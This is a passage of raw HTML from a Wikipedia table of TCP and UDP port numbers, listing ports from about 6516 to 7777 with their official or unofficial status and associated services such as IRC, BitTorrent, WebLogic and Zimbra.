href=\"/wiki/Elipse_Software\" title=\"Elipse Software\">Elipse</a> RPC Protocol (REC)\n</td></tr>\n<tr>\n<td>6516</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Admin_Center\" title=\"Windows Admin Center\">Windows Admin Center</a>\n</td></tr>\n<tr>\n<td>6543</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Pylons_project#Pyramid\" title=\"Pylons project\">Pylons project#Pyramid</a> Default Pylons Pyramid web service port\n</td></tr>\n<tr>\n<td>6556</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Check_MK\" class=\"mw-redirect\" title=\"Check MK\">Check MK</a> Agent\n</td></tr>\n<tr>\n<td>6566</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Scanner_Access_Now_Easy\" title=\"Scanner Access Now Easy\">SANE</a> (Scanner Access Now Easy)—SANE network scanner daemon<sup id=\"cite_ref-267\" class=\"reference\"><a href=\"#cite_note-267\">&#91;265&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6560–6561</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Speech-Dispatcher&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Speech-Dispatcher (page does not exist)\">Speech-Dispatcher</a> daemon<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>6571</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Live_FolderShare\" class=\"mw-redirect\" title=\"Windows Live FolderShare\">Windows Live FolderShare</a> client\n</td></tr>\n<tr>\n<td rowspan=\"2\">6600\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft <a href=\"/wiki/Hyper-V\" title=\"Hyper-V\">Hyper-V</a> Live\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Music_Player_Daemon\" title=\"Music Player Daemon\">Music Player Daemon</a> (MPD)\n</td></tr>\n<tr>\n<td>6601</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_Forefront_Threat_Management_Gateway\" title=\"Microsoft Forefront Threat Management Gateway\">Microsoft Forefront Threat Management Gateway</a>\n</td></tr>\n<tr>\n<td>6602</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft Windows WSS Communication\n</td></tr>\n<tr>\n<td>6619</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>odette-ftps, <a href=\"/wiki/OFTP\" title=\"OFTP\">Odette File Transfer Protocol</a> (<a href=\"/wiki/OFTP\" title=\"OFTP\">OFTP</a>) over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>/<a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a>\n</td></tr>\n<tr>\n<td>6622</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Multicast FTP\n</td></tr>\n<tr>\n<td>6653</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenFlow\" title=\"OpenFlow\">OpenFlow</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>6660–6664</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Relay_Chat\" title=\"Internet Relay Chat\">Internet Relay Chat</a> (IRC)\n</td></tr>\n<tr>\n<td>6665–6669</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Internet Relay Chat (IRC)\n</td></tr>\n<tr>\n<td rowspan=\"2\">6679\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Osorno Automation Protocol (OSAUT)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Internet Relay Chat (IRC) <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> (Secure Internet Relay Chat)—often used\n</td></tr>\n<tr>\n<td>6690</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Synology Cloud station\n</td></tr>\n<tr>\n<td>6697</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>IRC SSL (Secure Internet Relay Chat)—often used\n</td></tr>\n<tr>\n<td>6699</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WinMX\" title=\"WinMX\">WinMX</a> (see also 6257)\n</td></tr>\n<tr>\n<td>6715</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>AberMUD and derivatives default port\n</td></tr>\n<tr>\n<td>6771</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent <a href=\"/wiki/Local_Peer_Discovery\" title=\"Local Peer Discovery\">Local Peer Discovery</a>\n</td></tr>\n<tr>\n<td>6783–6785</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Splashtop_Remote\" class=\"mw-redirect\" title=\"Splashtop Remote\">Splashtop Remote</a> server broadcast\n</td></tr>\n<tr>\n<td>6801</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ACNET Control System Protocol\n</td></tr>\n<tr>\n<td>6881–6887</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BitTorrent\" title=\"BitTorrent\">BitTorrent</a> beginning of range of ports used most often\n</td></tr>\n<tr>\n<td rowspan=\"2\">6888\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>MUSE\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent continuation of range of ports used most often\n</td></tr>\n<tr>\n<td>6889–6890</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent continuation of range of ports used most often\n</td></tr>\n<tr>\n<td>6891–6900</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent continuation of range of ports used most often\n</td></tr>\n<tr>\n<td>6891–6900</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Live_Messenger\" title=\"Windows Live Messenger\">Windows Live Messenger</a> (File transfer)\n</td></tr>\n<tr>\n<td rowspan=\"2\">6901\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Windows Live Messenger (Voice)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent continuation of range of ports used most often\n</td></tr>\n<tr>\n<td>6902–6968</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent continuation of range of ports used most often\n</td></tr>\n<tr>\n<td>6924</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>split-ping, ping with RX/TX latency/loss split\n</td></tr>\n<tr>\n<td rowspan=\"2\">6969\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>acmsoda\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BitTorrent_tracker\" title=\"BitTorrent tracker\">BitTorrent tracker</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">6970–6999\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BitTorrent end of range of ports used most often\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/QuickTime_Streaming_Server\" title=\"QuickTime Streaming Server\">QuickTime Streaming Server</a><sup id=\"cite_ref-apple-kb-HT202944_11-68\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6980</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Voicemeeter\" title=\"Voicemeeter\">Voicemeeter</a> VBAN network audio protocol<sup id=\"cite_ref-268\" class=\"reference\"><a href=\"#cite_note-268\">&#91;266&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">7000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/Vuze\" title=\"Vuze\">Vuze</a>'s built-in <a href=\"/wiki/HTTPS\" title=\"HTTPS\">HTTPS</a> Bittorrent tracker\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Avira\" title=\"Avira\">Avira</a> Server Management Console\n</td></tr>\n<tr>\n<td rowspan=\"2\">7001\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Avira Server Management Console\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/BEA_Systems\" title=\"BEA Systems\">BEA</a> <a href=\"/wiki/WebLogic\" class=\"mw-redirect\" title=\"WebLogic\">WebLogic Server</a>'s <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a> server, though often changed during installation\n</td></tr>\n<tr>\n<td>7002</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for BEA WebLogic Server's HTTPS server, though often changed during installation\n</td></tr>\n<tr>\n<td>7005</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/BMC_Software\" title=\"BMC Software\">BMC Software</a> <a href=\"/wiki/BMC_Control-M\" class=\"mw-redirect\" title=\"BMC Control-M\">Control-M/Server</a> and Control-M/Agent for Agent-to-Server, though often changed during installation\n</td></tr>\n<tr>\n<td>7006</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for BMC Software Control-M/Server and Control-M/Agent for Server-to-Agent, though often changed during installation\n</td></tr>\n<tr>\n<td>7010</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for Cisco AON AMC (AON Management Console)<sup id=\"cite_ref-269\" class=\"reference\"><a href=\"#cite_note-269\">&#91;267&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7022</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Database mirroring endpoints<sup id=\"cite_ref-Microsoft_223-1\" class=\"reference\"><a href=\"#cite_note-Microsoft-223\">&#91;221&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7023</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Bryan Wilcutt T2-NMCS Protocol for SatCom Modems\n</td></tr>\n<tr>\n<td>7025</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Zimbra <a href=\"/wiki/Local_Mail_Transfer_Protocol\" title=\"Local Mail Transfer Protocol\">LMTP</a> [mailbox]—local mail delivery\n</td></tr>\n<tr>\n<td>7047</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Zimbra\" title=\"Zimbra\">Zimbra</a> conversion server\n</td></tr>\n<tr>\n<td>7070</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Real_Time_Streaming_Protocol\" title=\"Real Time Streaming Protocol\">Real Time Streaming Protocol</a> (RTSP), used by <a href=\"/wiki/QuickTime_Streaming_Server\" title=\"QuickTime Streaming Server\">QuickTime Streaming Server</a>. TCP is used by default, UDP is used as an alternate.<sup id=\"cite_ref-apple-kb-HT202944_11-69\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n\n<tr>\n<td>7077</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Development-Network Authentification-Protocol\n</td></tr>\n<tr>\n<td>7133</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Enemy_Territory:_Quake_Wars\" title=\"Enemy Territory: Quake Wars\">Enemy Territory: Quake Wars</a>\n</td></tr>\n<tr>\n<td>7144</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Peercast<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7145</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Peercast<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7171</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tibia_(computer_game)\" class=\"mw-redirect\" title=\"Tibia (computer game)\">Tibia</a>\n</td></tr>\n<tr>\n<td>7262</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>CNAP (Calypso Network Access Protocol)\n</td></tr>\n<tr>\n<td>7272</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>WatchMe - WatchMe Monitoring\n</td></tr>\n<tr>\n<td>7306</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Zimbra mysql [mailbox]<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7307</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Zimbra mysql [logger]<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>7312</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sibelius_notation_program\" class=\"mw-redirect\" title=\"Sibelius notation program\">Sibelius</a> License Server\n</td></tr>\n<tr>\n<td>7396</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Web control interface for <a href=\"/wiki/Folding@home#V7\" title=\"Folding@home\">Folding@home v7.3.6</a> and later<sup id=\"cite_ref-270\" class=\"reference\"><a href=\"#cite_note-270\">&#91;268&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7400</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>RTPS (Real Time Publish Subscribe) <a href=\"/wiki/Data_Distribution_Service\" title=\"Data Distribution Service\">DDS</a> Discovery\n</td></tr>\n<tr>\n<td>7401</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>RTPS (Real Time Publish Subscribe) <a href=\"/wiki/Data_Distribution_Service\" title=\"Data Distribution Service\">DDS</a> User-Traffic\n</td></tr>\n<tr>\n<td>7402</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>RTPS (Real Time Publish Subscribe) <a href=\"/wiki/Data_Distribution_Service\" title=\"Data Distribution Service\">DDS</a> Meta-Traffic\n</td></tr>\n<tr>\n<td>7471</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Stateless Transport Tunneling (STT)\n</td></tr>\n<tr>\n<td>7473</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rise:_The_Vieneo_Province\" title=\"Rise: The Vieneo Province\">Rise: The Vieneo Province</a>\n</td></tr>\n<tr>\n<td>7474</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Neo4J Server webadmin<sup id=\"cite_ref-271\" class=\"reference\"><a href=\"#cite_note-271\">&#91;269&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7478</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default port used by <a href=\"/wiki/Open_iT\" title=\"Open iT\">Open iT</a> Server.<sup id=\"cite_ref-272\" class=\"reference\"><a href=\"#cite_note-272\">&#91;270&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7542</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><i>Saratoga</i> file transfer protocol<sup id=\"cite_ref-draft-wood-tsvwg-saratoga_273-0\" class=\"reference\"><a href=\"#cite_note-draft-wood-tsvwg-saratoga-273\">&#91;271&#93;</a></sup><sup id=\"cite_ref-10.1109/IWSSC.2007.4409410_274-0\" class=\"reference\"><a href=\"#cite_note-10.1109/IWSSC.2007.4409410-274\">&#91;272&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7547</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>CPE WAN Management Protocol (CWMP) <a href=\"/wiki/TR-069\" title=\"TR-069\">Technical Report 069</a>\n</td></tr>\n<tr>\n<td>7575</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Populous:_The_Beginning\" title=\"Populous: The Beginning\">Populous: The Beginning</a> server\n</td></tr>\n<tr>\n<td>7624</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Instrument_Neutral_Distributed_Interface\" title=\"Instrument Neutral Distributed Interface\">Instrument Neutral Distributed Interface</a>\n</td></tr>\n<tr>\n<td>7631</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ERLPhase\n</td></tr>\n<tr>\n<td>7634</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>hddtemp—Utility to monitor hard drive temperature\n</td></tr>\n<tr>\n<td>7652–7654</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/I2P\" title=\"I2P\">I2P</a> anonymizing overlay network\n</td></tr>\n<tr>\n<td>7655</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>I2P SAM Bridge Socket API\n</td></tr>\n<tr>\n<td>7656–7660</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>I2P anonymizing overlay network\n</td></tr>\n<tr>\n<td>7670</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BrettspielWelt\" title=\"BrettspielWelt\">BrettspielWelt</a> BSW Boardgame Portal\n</td></tr>\n<tr>\n<td>7680</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Delivery Optimization for <a href=\"/wiki/Windows_10\" title=\"Windows 10\">Windows 10</a><sup id=\"cite_ref-ms-win10-delivery-optimization_275-0\" class=\"reference\"><a href=\"#cite_note-ms-win10-delivery-optimization-275\">&#91;273&#93;</a></sup>\n</td></tr>\n<tr>\n<td>7687</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bolt_(network_protocol)\" title=\"Bolt (network protocol)\">Bolt</a> database connection\n</td></tr>\n<tr>\n<td>7707–7708</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Killing_Floor_(2009_video_game)\" class=\"mw-redirect\" title=\"Killing Floor (2009 video game)\">Killing Floor</a></i>\n</td></tr>\n<tr>\n<td>7717</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Killing Floor</i>\n</td></tr>\n<tr>\n<td rowspan=\"7\">7777\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IChat\" title=\"IChat\">iChat</a> server file transfer proxy<sup id=\"cite_ref-apple-kb-HT202944_11-70\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle Cluster File System 2<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a 